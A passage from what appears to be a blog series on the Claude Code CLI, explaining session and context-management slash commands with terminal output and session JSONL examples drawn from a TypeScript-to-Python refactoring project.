  "parentUuid": null,
  "logicalParentUuid": "b165d9aa-6aab-4597-9187-954b7f5c6666",
  "isSidechain": false,
  "type": "system",
  "subtype": "compact_boundary",
  "content": "Conversation compacted",
  "isMeta": false,
  "timestamp": "2026-04-09T15:58:03.769Z",
  "uuid": "a37533f8-0993-4750-964c-8ba724430fe8",
  "level": "info",
  "compactMetadata": {
    "trigger": "manual",
    "preTokens": 54247
  },
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "3a0213a0-5ef4-420c-8d11-1bda03f41a1a",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python",
  "slug": "fluttering-growing-lecun"
}
{
  "parentUuid": "a37533f8-0993-4750-964c-8ba724430fe8",
  "isSidechain": false,
  "type": "user",
  "message": {
    "role": "user",
      "content": "This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.
  Summary:
  1. Primary Request and Intent:
     - Refactor the universal-skill-converter app from TypeScript to Python
     - Create plan file \"refactor-to-python.md\"
     - Later: Execute the plan using batch mode with parallel workers
     - Maintain all functionality (local and remote conversion, 10-step conversion process)
     - Preserve security features (safe YAML parsing, path validation)
     - Maintain testing coverage (>70% target)
     - Keep identical CLI interface and command names
  2. Key Technical Concepts:
     - TypeScript/Node.js to Python migration
     - CLI framework (Click instead of commander)
     - Data validation (Pydantic instead of Zod)
     - YAML parsing with safe_load equivalent
     - Terminal formatting (Rich instead of picocolors + @clack/prompts)
     - Git operations (GitPython)
     - File system operations (sync instead of async)
     - Layered architecture (CLI, Core, Models, UI layers)
     - Skill format conversion (skill.sh → clawhub)
     - GitHub repository fetching and caching
     - Test-driven development with pytest
  3. Files and Code Sections:
     - `/opt/claude/universal-skill-converter/package.json`
       - Contains project metadata and dependencies
       - Shows current tech stack: commander, js-yaml, zod, @clack/prompts
       - Scripts: dev, build, test, typecheck, lint, format

     - `/opt/claude/universal-skill-converter/tsconfig.json`
       - TypeScript configuration with strict mode enabled
       - ESNext target with bundler module resolution

     - `/opt/claude/universal-skill-converter/src/commands/convert.ts`
       - Main CLI command implementation (226 lines)
       - Handles remote/local source detection
       - Options: path, output, force, verbose, json, skill, ref, keep-temp
       - Command structure: `skill-convert convert <path-or-url>`

     - `/opt/claude/universal-skill-converter/src/lib/converter.ts`
       - Conversion orchestrator (101 lines)
       - 10-step conversion process: marker check, validation, file reading, directory creation, metadata generation, transformation, migration, license copy, scripts copy, marker creation

     - `/opt/claude/universal-skill-converter/src/types/index.ts`
       - Zod schemas for type safety
       - ConvertOptionsSchema, SkillShFrontmatterSchema, ClawhubFrontmatterSchema, MetaJsonSchema, ConversionMarkerSchema, ConversionResultSchema, ValidationResultSchema, ConversionContextSchema

     - `/opt/claude/universal-skill-converter/src/lib/remote.ts`
       - GitHub repository handling (333 lines)
       - Functions: parseRemoteSource, isRemoteSource, validateGitInstalled, validateGitHubRepo, fetchGitHubRepo, fetchRemoteSkill, retryWithBackoff
       - Caching in ~/.skill-convert/cache/ for 24 hours

     - `/opt/claude/universal-skill-converter/src/lib/marker.ts`
       - Conversion tracking with .converted_from_skillsh marker file
       - Functions: readConversionMarker, writeConversionMarker, isAlreadyConverted, removeConversionMarker

     - `/home/node/.claude/plans/serene-waddling-newt.md`
       - Comprehensive Python refactoring plan
       - Detailed file structure mapping (14 TypeScript modules → Python equivalents)
       - Module-by-module implementation details
       - Testing strategy with pytest
       - Migration phases and timeline (~12 hours)
  4. Errors and fixes:
     - No technical errors encountered during conversation
     - User feedback: When I attempted to exit plan mode, user said \"No\" and indicated they didn't want the plan executed at that time
     - User later provided specific preferences: Click framework, identical interface, >70% coverage, sync I/O
  5. Problem Solving:
     - Analyzed existing TypeScript codebase architecture to understand conversion requirements
     - Designed Python equivalent tech stack (Click, Pydantic, Rich, GitPython)
     - Mapped TypeScript modules to Python equivalents
     - Created detailed implementation plan with work units for parallel execution
     - Established testing strategy with pytest and temporary directory isolation
  6. All user messages:
     - \"Refactor this app to python. Write the plan file 'refactor-to-python.md'\"
     - User answers to design questions: Click framework, identical interface, >70% coverage, sync I/O
     - \"No, don't execute the plan.\"
     - \"implement the universal-skill-converter plan\" (via /batch command)
  7. Pending Tasks:
     - Complete the batch execution plan with work unit decomposition
     - Determine e2e test recipe for verifying conversions
     - Exit plan mode and spawn parallel workers for implementation
     - Track progress of multiple workers implementing different modules
     - Create pull requests for each work unit
  8. Current Work:
     I was in the middle of creating a detailed batch execution plan after the user issued the \"/batch implement the universal-skill-converter plan\" command. I had:
     - Explored additional files (remote.ts, marker.ts, meta.ts)
     - Started analyzing the codebase for work unit decomposition
     - Was preparing to create a plan file with 15-30 independent, mergeable work units
     - Was designing the e2e test recipe for conversion verification
     - Had entered plan mode and was in the exploration phase
  9. Optional Next Step:
     Continue the batch execution planning by:
     1. Completing the work unit decomposition (creating 15-20 independent units covering project setup, core modules, models, UI layer, CLI layer, and testing)
     2. Designing the e2e test recipe (CLI verification commands, test skill conversion workflow)
     3. Writing the complete plan file to /home/node/.claude/plans/serene-waddling-newt.md
     4. Exiting plan mode to present the plan for approval

     Based on the user's explicit request: \"implement the universal-skill-converter plan\" via batch mode, the next step should focus on finalizing the detailed execution plan for parallel worker implementation.
  If you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/node/.claude/projects/-opt-claude-universal-skill-converter/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.jsonl"
  },
  "isVisibleInTranscriptOnly": true,
  "isCompactSummary": true,
  "uuid": "9eb02f5b-d4a9-4352-9f64-f1ba5975cecf",
  "timestamp": "2026-04-09T15:58:03.769Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "3a0213a0-5ef4-420c-8d11-1bda03f41a1a",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python",
  "slug": "fluttering-growing-lecun"
}

From here, you cannot use the rewind command to progress further back, the compacted session is the new starting point.

`/clear`

When compaction does not help, you need to /clear the context completely.

Here is the command:

/clear

Internally, a new session ID is generated, and the JSONL file starts from scratch.

And here is the change to the session file.

cat ~/.claude/projects/-opt-claude-universal-skill-converter/e008d275-5119-45bf-b3ba-541e1845b369.jsonl

{
  "type": "file-history-snapshot",
  "messageId": "7fe3cfbe-a428-4709-a756-98db0d487968",
  "snapshot": {
    "messageId": "7fe3cfbe-a428-4709-a756-98db0d487968",
    "trackedFileBackups": {},
    "timestamp": "2026-04-09T16:06:47.905Z"
  },
  "isSnapshotUpdate": false
}
{
  "parentUuid": null,
  "isSidechain": false,
  "type": "user",
  "message": {
    "role": "user",
    "content": "<local-command-caveat>Caveat: The messages below were generated by the user while running local commands. DO NOT respond to these messages or otherwise consider them in your response unless the user explicitly asks you to.</local-command-caveat>"
  },
  "isMeta": true,
  "uuid": "1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7",
  "timestamp": "2026-04-09T16:06:47.904Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "e008d275-5119-45bf-b3ba-541e1845b369",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python"
}
{
  "parentUuid": "1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7",
  "isSidechain": false,
  "type": "user",
  "message": {
    "role": "user",
    "content": "<command-name>/clear</command-name>\n            <command-message>clear</command-message>\n            <command-args></command-args>"
  },
  "uuid": "7fe3cfbe-a428-4709-a756-98db0d487968",
  "timestamp": "2026-04-09T16:06:47.901Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "e008d275-5119-45bf-b3ba-541e1845b369",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python"
}

`/memory`

Memory is an additional layer in Claude Codes context. It is intended to capture project-specific intricacies for improving work efficiency, for example corrections to errors, detailed build and test commands, or observations about high-level architecture. Claude keeps these memories automatically, and with this command, you gain access to its settings.

When executed, a navigable terminal interface is rendered:

/memory

──────────
Memory

    Auto-memory: on
    Auto-dream: off · never

  ❯ 1. User memory                      Saved in ~/.claude/CLAUDE.md
    2. Project memory                   Checked in at ./CLAUDE.md
    3. Open auto-memory folder
    4. Open code-improver agent memory  user scope

  Learn more: https://code.claude.com/docs/en/memory

Following options are available:

The points “User memory” and “Project memory” lead directly to the printed files.
When the auto-memory option is enabled, and memory files generated at ~/-claude/projects/<id>/memory/, the option "Open auto-memory folder” opens this directory.
The code-improver agent is a subagent invoked for refactoring code. Its user-scope file location is ~/.claude/agent‑memory/code‑improver/, and when invoking the fourth option, an editor for its memory file is opened.

Finally, the auto-dream feature was just added in claude code v2.1.92. It is a mechanism to reconcile fragmented memory files from user and project code, detects duplicate or contradicting entries, and cleans them up, the option toggle enables or disables this feature.

Conclusion

Claude Code is an agentic tool for working on complex code bases. It offers more than 40 commands. Understanding their functions, and the scope in which they should be applied, is essential for effective work. In this blog article, commands from the session and context management groups were explored. For session management, you learned a) to run a sub-agent that works on a plan file, b) ask an additional question during a session that does not disrupt the main task, c) list all background tasks, d) create subtrees in long conversation histories, e) rewind to earlier stages, f) stop the current session immediately and g) resuming where you left off. And for context management, you learned a) view a graphical representation of the current context, b) compact the context, reducing what is being send to the LLM provider, c) clear the current context, and d) viewing and editing memory files, from project to user and code-improver agent scope, keeping important learnings as a permanent context.

Claude Code CLI: Session & Context Management

Sebastian — Thu, 18 Jun 2026 06:02:40 +0000

Claude Code is an agentic tool that can execute commands on an installed computer. Its focus is coding, helping to implement programs from scratch, to add features, for bug fixing, and for refactoring of complex code bases.

In an ongoing blog series, I systematically explore the CLI, slash commands, and use cases. This article presents a grouped overview of all available commands, scoping the typical session lifecycle and helping you understand when to use which command.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

This article originally appeared at my blog admantium.com

Claude Code CLI: Slash Command Overview

🌀 Session Configuration
- /add-dir: Add an additional working directory to the current session
- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
🌀 Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /config: General purpose configuration
- /update-config: Customizations of Claude Code internals
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

From this list, groups marked with 🌀 are the focus of this article.

What are Claude Code Sessions?

Whenever the Claude Code CLI is invoked, a new session is created. On a high-level view, the user enters prompts, which are analyzed and processed to create internal tasks, such as checking/asking for permissions, suggesting and executing tools, and editing files. Each of these tasks is represented in the session history as a specific JSON document, with a unique type and attribute. Let’s investigate this in detail to learn about one part of Claude Code’s functionality.

Here is an example of starting a new session in my universal-skill-converter project.

> claude

─── Claude Code v2.1.91 ────────────────────────────────────────────────╮
│                                       │ Tips for getting started      │
│            Welcome back!              │ Run /init to create a CLAUDE… │
│                                       │ ───────────────────────────── │
│               ▐▛███▜▌                 │ Recent activity               │
│              ▝▜█████▛▘                │ 1h ago   Parse @README.md     │
│                ▘▘ ▝▝                  │ 22h ago  Explain @Dockerfile  │
│                                       │ 22h ago  Explain the file @D… │
│  claude-haiku-4.5 · API Usage Billing │ /resume for more              │
│             /opt/claude               │                               │
╰───────────────────────────────────────────────────────────────────────╯
❯ Parse @README.md
  ⎿  Read README.md (4 lines)

● I'll parse the README.md file for you.
  Read 1 file (ctrl+o to expand)

● Based on the README.md file, here's what I found:
  README.md Analysis

  The README.md file contains minimal content:
  # universal-skill-converter

  Summary:
  - The file contains only a title: "universal-skill-converter"
  - There are no additional descriptions, instructions, or content
  - The file appears to be essentially empty except for the project title

  This suggests the project is either in early stages or the README hasn't been populated with detailed
  information yet.

Resume this session with:
claude --resume 67614647-7351-408e-88b8-2846dc62b860

See the output when quitting the session – this is the session name. Let’s take a look at where it is stored in your local ~/.claude directory.

Note: I’m using the claude-code-container from my previous article.

find "${HOME}/.claude" -type f -name *2846dc62b860* | head -5

# Log output
/home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl

As can be seen, the complete session transcript is stored in the directory ~/.claude/projects/-opt-claude. The base name of this string is the current working directory, which defaults to /opt/claude when using my container image. This file is a JSON document containing all interactions. Let’s take a look at the first items:

cat /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq | head -15

# Log messages
{
  "type": "permission-mode",
  "permissionMode": "default",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860"
}
{
  "type": "file-history-snapshot",
  "messageId": "1ce9315d-d77c-4f52-8e8a-bf22db5d9139",
  "snapshot": {
    "messageId": "1ce9315d-d77c-4f52-8e8a-bf22db5d9139",
    "trackedFileBackups": {},
    "timestamp": "2026-04-04T09:37:47.285Z"
  },
  "isSnapshotUpdate": false
}

Items have a type argument. The first messages in the session log represent system messages. Let’s see the other types, and narrow it down to the entered user message.

cat /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq -r '.type' | sort

# Log output
permission-mode
file-history-snapshot
user
user
user
file-history-snapshot
user
assistant
assistant
user
assistant
last-prompt
permission-mode
custom-title
agent-name
system
system
custom-title
agent-name
permission-mode

Let’s see the user message for the first prompt. It contains a set of metadata about the session’s context (parentUuid, promptId, uuid), invocation and version information (version, entrypoint,cwd), and the message itself (message.role, message.content).

{
  "parentUuid": "8d64d2af-615d-4cfe-8843-273de873d9da",
  "isSidechain": false,
  "promptId": "97fe3efe-e395-41b9-96aa-34497e529ca4",
  "type": "user",
  "message": {
    "role": "user",
    "content": "Parse @README.md"
  },
  "uuid": "cfab7717-ca08-45bf-9e0f-2241668efe23",
  "timestamp": "2026-04-04T09:38:00.929Z",
  "permissionMode": "default",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860",
  "version": "2.1.91",
  "gitBranch": "main"
}

The directly following system message contains the same context, invocation, and version information, but a structurally different message with message.type, message.role, message.model, and usage statistics.

{
  "parentUuid": "cfab7717-ca08-45bf-9e0f-2241668efe23",
  "isSidechain": false,
  "message": {
    "id": "msg_2026040417373648e22180f7914ce1",
    "type": "message",
    "role": "assistant",
    "model": "claude-sonnet-4.6",
    "content": [
      {
        "type": "text",
        "text": "I'll parse the README.md file for you.\n"
      }
    ],
    "stop_reason": null,
    "stop_sequence": null,
    "usage": {
      "input_tokens": 0,
      "output_tokens": 0
    }
  },
  "type": "assistant",
  "uuid": "9b4b857e-3a25-4b03-b20b-da76f5677c77",
  "timestamp": "2026-04-04T09:38:09.698Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860",
  "version": "2.1.91",
  "gitBranch": "main",
  "slug": "hashed-enchanting-ritchie"
}

And finally, the directly following tool invocation. It reveals the fields message.content.type, message.content.name, message.content.input.file_path. And at message.usage, statistics about the LLM invocation, which parsed the file content and formulated an answer, can be found.

{
  "parentUuid": "9b4b857e-3a25-4b03-b20b-da76f5677c77",
  "isSidechain": false,
  "message": {
    "id": "msg_2026040417373648e22180f7914ce1",
    "type": "message",
    "role": "assistant",
    "model": "claude-sonnet-4.6",
    "content": [
      {
        "type": "tool_use",
        "id": "call_enqown30a3q",
        "name": "Read",
        "input": {
          "file_path": "/opt/claude/README.md"
        }
      }
    ],
    "stop_reason": "tool_use",
    "stop_sequence": null,
    "usage": {
      "input_tokens": 34459,
      "cache_creation_input_tokens": 0,
      "cache_read_input_tokens": 838,
      "output_tokens": 53,
      "server_tool_use": {
        "web_search_requests": 0,
        "web_fetch_requests": 0
      },
      "service_tier": "standard",
      "cache_creation": {
        "ephemeral_1h_input_tokens": 0,
        "ephemeral_5m_input_tokens": 0
      },
      "inference_geo": "",
      "iterations": [],
      "speed": "standard"
    }
  },
  "type": "assistant",
  "uuid": "2da6dc71-8c0c-486a-9593-b04e0674a795",
  "timestamp": "2026-04-04T09:38:09.698Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860",
  "version": "2.1.91",
  "gitBranch": "main",
  "slug": "hashed-enchanting-ritchie"
}

These interaction types are at the heart of Claude’s agentic loop. Each prompt you provide gets analyzed, injected into pre-defined system prompts, sent to an LLM, which then provides assistant, tool-run, and tool-execution commands.

With this understanding, let's continue with investigating the session commands.

Session Configuration

`/add-dir`

Once the Claude session starts, it is bound to the current working directory. This command adds additional directories, and Claude will access and utilize tools in the other directory too.

──────────────────────
❯ /add-dir /opt/spa
──────────────────────
  spac/     directory

...
Add directory to workspace

    /opt/spac

    Claude Code will be able to read files in this directory and make edits when
    auto-accept edits is on.

  ❯ 1. Yes, for this session
    2. Yes, and remember this directory
    3. No

`/rename`

Sessions are created with a generic name. This command provides a memorable name.

❯ /rename universal-skill-converter-refinement
  ⎿  Session renamed to: universal-skill-converter-refinement

─────────────────────────────── universal-skill-converter-refinement ──
❯
─────────────────────────────────────────────────────────────────

`/model`

Model capacities drive the quality of work results. Anthropic distinguishes three different model levels that scale with code complexity: Opus, Sonnet, and Haiku.

The /model command allows manual selection, which you should use on a per-task level. Here is the dialog.

/model
────────────────────────
 Select model
  Switch between Claude models. Applies to this session and future Claude Code
   sessions. For other/previous model names, specify with --model.

  ❯ 1. Default (recommended)  Use the default model (currentlyclaude-sonnet-4.6) ·
                              $3/$15 per Mtok
    2. Sonnet (1M context)    Sonnet 4.6 for long sessions · $3/$15 per Mtok
    3. Opus (1M context)      Opus 4.6 with 1M context · Most capable for
                              complex work
    4. Haiku ✔                Haiku 4.5 · Fastest for quick answers · $1/$5 per
                              Mtok

`/effort`

When LLM models with thinking capabilities are invoked, they will work on a prompt self-reflectively, analyzing and checking their own output before formulating a response to the user. This amount of "thinking" can be controlled by the effort parameter with four values: max, high, medium, low. The default value in Claude is medium, recommended for balancing speed, cost, and task quality, which can be observed by fewer absolute tool calls than on other effort levels.

Here is an example of changing the parameter.

─────────────────────────────────────
❯ /effort  [low|medium|high|max|auto]
─────────────────────────────────────

`/login`

To use an Anthropic account as an LLM provider, either direct API invocation,
called console account, or a subscription plan with rolling 5-hour/weekly/monthly token budgets, can be used.

The login command authenticates the current session with one of these options. Select one of the options, then an authorization request to Anthropic is shown. Open the link in your browser, then paste the auth code. Once completed, credentials are persisted in ~/.claude/settings.json, and do not need to be entered when starting the next session.

❯ /login
 Select login method:

 ❯ 1. Claude account with subscription · Pro, Max, Team, or Enterprise

   2. Anthropic Console account · API usage billing

   3. 3rd-party platform · Amazon Bedrock, Microsoft Foundry, or Vertex AI

`/logout`

When using an Anthropic subscription, session credentials are persisted in the ~/.claude/settings.json file. This command revokes the credentials at the Anthropic CLI, removes the credentials from the file, and terminates the session.

❯ /logout
Successfully logged out from your Anthropic account.

Session Reflection

`/cost`

During a long session, lots of tokens will be exchanged between your computer and an LLM provider. This command calculates the total amount of costs, but that’s opinionated toward using an API subscription model with Anthropic. For all other providers, you can add token costs in the manual model definition, and then get an estimate of the incurred costs.

/cost
  ⎿  Total cost:            $0.79
     Total duration (API):  1m 48s
     Total duration (wall): 6m 29s
     Total code changes:    151 lines added, 0 lines removed
     Usage by model:
             claude-haiku-4.5:  51.6k input, 3.1k output, 904.8k cache read, 0 cache
      write ($0.79)

`/usage`

When using Claude Code with an Anthropic subscription plan, this command shows how much of the rolling 5-hour and weekly usage limits is depleted.

This command was removed in v2.1.91, but for completeness, here is an example of its output.

/usage

Plan: Claude Max 5x (subscription)

Current 5-hour window
  Used:       18,400 tokens (23%)
  Remaining:  61,600 tokens (77%)
  Resets in:  2h 12m

Weekly usage
  All models:   38% used (resets Thu 04:00)
  Opus only:     4% used
  Sonnet only:   2% used

Rate limit status: OK (within all limits)
Extra usage:       Disabled

When you use a custom model definition, these models are mapped according to the environment variables "ANTHROPIC_DEFAULT_HAIKU_MODEL",  "ANTHROPIC_DEFAULT_SONNET_MODEL", and "ANTHROPIC_DEFAULT_OPUS_MODEL".

`/status`

Gain a quick overview about the CLI version, selected model, and other account information.

─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

Version: 2.1.91
  Session name: universal-skill-converter-refinement
  Session ID: 9bd58391-93ff-4c59-8d64-31d652281c14
  cwd: /opt/claude/universal-skills-converter/universal-skill-converter
  Auth token: ANTHROPIC_AUTH_TOKEN
  Anthropic base URL: https://api.z.ai/api/anthropic

  Model: claude-sonnet-4.6 (claude-sonnet-4.6)
  Setting sources: User settings, Enterprise managed settings (file)

  System Diagnostics
   ⚠ No write permissions for auto-updates (requires sudo)
``

Show essential CLI, model, and account information

And the config tab.

─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              true
    Show tips                                 true
    Reduce motion                             false
    Thinking mode                             true
    Fast mode (Opus 4.6 only)                 false
    Rewind code (checkpoints)                 true
    Terminal progress bar                     true
    Show turn duration                        true
    Default permission mode                   Default
    Respect .gitignore in file picker         true
    Always copy full response (skip /copy     false
  picker)
    Auto-update channel                (CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAF
                                       FIC set)

    Theme                                     Dark mode
    Notifications                             Auto
    Language                                  Default (English)
    Editor mode                               normal
    Show PR status footer                     true
    Model                                     sonnet[1m]

`/stats`

Every interaction with Claude is logged inside the ./claude directory, with a path-prefix of the current working directory, and session files in JSONL format. These files contain timestamps, and can be used to create a visual representation of usage patterns.

Here are my current stats:

─────────────────────────────────────────────────────────────────
      Overview   Models

        Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr
        ···············································█▓·▒▒
    Mon ··················································▒
        ···················································
    Wed ················································░··
        ················································▒··
    Fri ················································█▓▓
        ··············································██░▓░

        Less ░ ▒ ▓ █ More

    All time · Last 7 days · Last 30 days

    Favorite model:claude-haiku-4.5     Total tokens: 4.7m

    Sessions: 52                    Longest session: 20h 28m 13s
    Active days: 15/30              Longest streak: 4 days
    Most active day: Mar 8          Current streak: 3 days

    Your longest session is ~6x longer than watching Titanic

And the models tab:

 ─────────────────────────────────────────────────────────────────
      Overview   Models


    Tokens per Day
      861k ┼──╮
      753k ┤  │
      646k ┤  ╰──╮
      538k ┤     │
      430k ┤     ╰──╮              ╭──╮     ╭──╮
      323k ┤     ╭──╮              │  │  ╭──╯  │
      215k ┤  ╭──╯  │              │  ╰──╯     │
      108k ┼──╯     │─────╮  ╭─────╮        ╭──│  ╭──
         0 ┼────────╰────────╯─────╰─────────────────
            Mar 7       Mar 18      Mar 28      Apr 4
    ●claude-haiku-4.5 · ●claude-sonnet-4.6 · ●claude-opus-4.6

    All time · Last 7 days · Last 30 days

    ●claude-haiku-4.5 (51.4%)                 ●claude-opus-4.6 (19.3%)
      In: 2.1m · Out: 350.9k                In: 720.4k · Out: 187.2k
    ●claude-sonnet-4.6 (29.3%)
      In: 1.3m · Out: 47.9k

`/config`

The many settings of Claude Code can be scattered along configuration files. This command allows a top-level overview about all defined settings for a particular session context. It also allows you to edit these settings, which will be persisted in the local .claude folder, the scope which overrides all other settings except managed ones.

As seen in other dialogues too, this one renders vertical tabs, starting with the "Config" section.

─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats


  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              true
    Show tips                                 true
    Reduce motion                             false
    Thinking mode                             true
    Rewind code (checkpoints)                 true
    Verbose output                            false
    Terminal progress bar                     true
    Show turn duration                        true
    Default permission mode                   Default
    Respect .gitignore in file picker         true
    Always copy full response (skip /copy     false
  picker)
    Auto-update channel                       latest
    Theme                                     Dark mode
    Notifications                             Auto
    Output style                              default
    Language                                  Default (English)
    Editor mode                               normal
    Show PR status footer                     true
    Model                                     claude-haiku4.5
    Auto-connect to IDE (external terminal)   false
  ↓ 1 more below

  Type to filter · Enter/↓ to select · ↑ to tabs · Esc to clear

The remaining two tabs are just aliases for the /usage and /stats commands.

/update-config

This command triggers an internal skill in which you can instruct a cinfig change.

Here is an example output when modifying the thinking mode.

/update-config Configure the thinking mode.

∴ Thinking…

  The user wants to configure thinking mode. According to the update-config skill, thinking mode is configured using alwaysThinkingEnabled (a simple
  setting that can use the Config tool).

  Let me clarify what they want to configure since "thinking mode" could mean:

- Enable/disable thinking (alwaysThinkingEnabled: true or false)

─────────────────────────────────────────────────────────────────
 ☐ Thinking

Would you like to enable or disable thinking mode?

❯ 1. Enabled
     Always show thinking process (default for Haiku)
  2. Disabled
     Disable extended thinking
  3. Type something.
─────────────────────────────────────────────────────────────────
  4. Chat about this

Enter to select · ↑/↓ to navigate · Esc to cancel

`/export`

The complete conversation log is serialized into JSONL files. User prompts, and the LLMs answers, are rendered in plain text in the terminal. And this representation can be exported into the clipboard or a file.

Here is an example export during working on my skill-converter project.

╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips for getting started         │
│               Welcome back!               │ Run /init to create a CLAUDE.md… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│     claude-haiku-4.5 · API Usage Billing  │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

❯ /rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

❯ Refactor this app to python. Write the plan file "refactor-to-python.md"

● I'll help you refactor this app to Python. Let me start by exploring the
  codebase to understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for
  refactoring to Python.

● Updated plan
  ⎿  /plan to preview

● I've created a comprehensive refactoring plan. Let me confirm a few key design
   choices with you:

● User answered Claude's questions:
  ⎿  · Which Python CLI framework should I use? → Click
     · Should I keep the same package structure and CLI command names? → Yes,
     identical
     · What test coverage target should I aim for? → >70%
     · Should I use async/await for file operations? → Sync (blocking)

● Updated plan
  ⎿  /plan to preview
...

❯ /export
  ⎿  Conversation copied to clipboard

`/insights`

All Claude Code interactions are stored in the ~./claude directory, which includes projects, sessions, and all prompts. This command checks all this data to provide a thorough analysis of how you use Claude in the form of an HTML document. It includes a summary of the projects you worked on, your style of interacting with Claude, statistics about session time and duration, and several helpful prompt additions to be put into the CLAUDE.md file. Finally, usage patterns are condensed into skill and hook suggestions.

Here are screenshots of my interactions:

Conclusion

When the Claude Code CLI starts, a new session is created. Sessions are the core context of any interactions, and were covered extensively in this blog article. You gained a general overview about sessions, including the directory layout, JSONL files containing a trace of user, assistant, and tools calls, and the different types of entries in these files. These structures form the backbone commands about session configuration and session reflection. For session configuration, you learned about a) adding additional working directories, b) how to rename a session, c) selecting the LLM to be used in the current session, d) controlling the amount of tokens spent on "thinking", d) how to perform login and e) logout of an Anthropic subscription. For session reflection, you saw how to a) estimate costs, b) track token consumption, c) see all applicable configuration items, d) see statistics about your Claude Code sessions, e) get an editable text-overview about all currently active settings, f) instruct a config change, g) export user prompts and LLM answers, and h) gain valuable insights and improvements to using Claude Code, including additional sections to be inserted into CLAUDE.md, as well as skills and hooks for frequent changes.

Claude Code: Installation & Setup of the Agentic Coding Tool

Sebastian — Mon, 08 Jun 2026 05:01:30 +0000

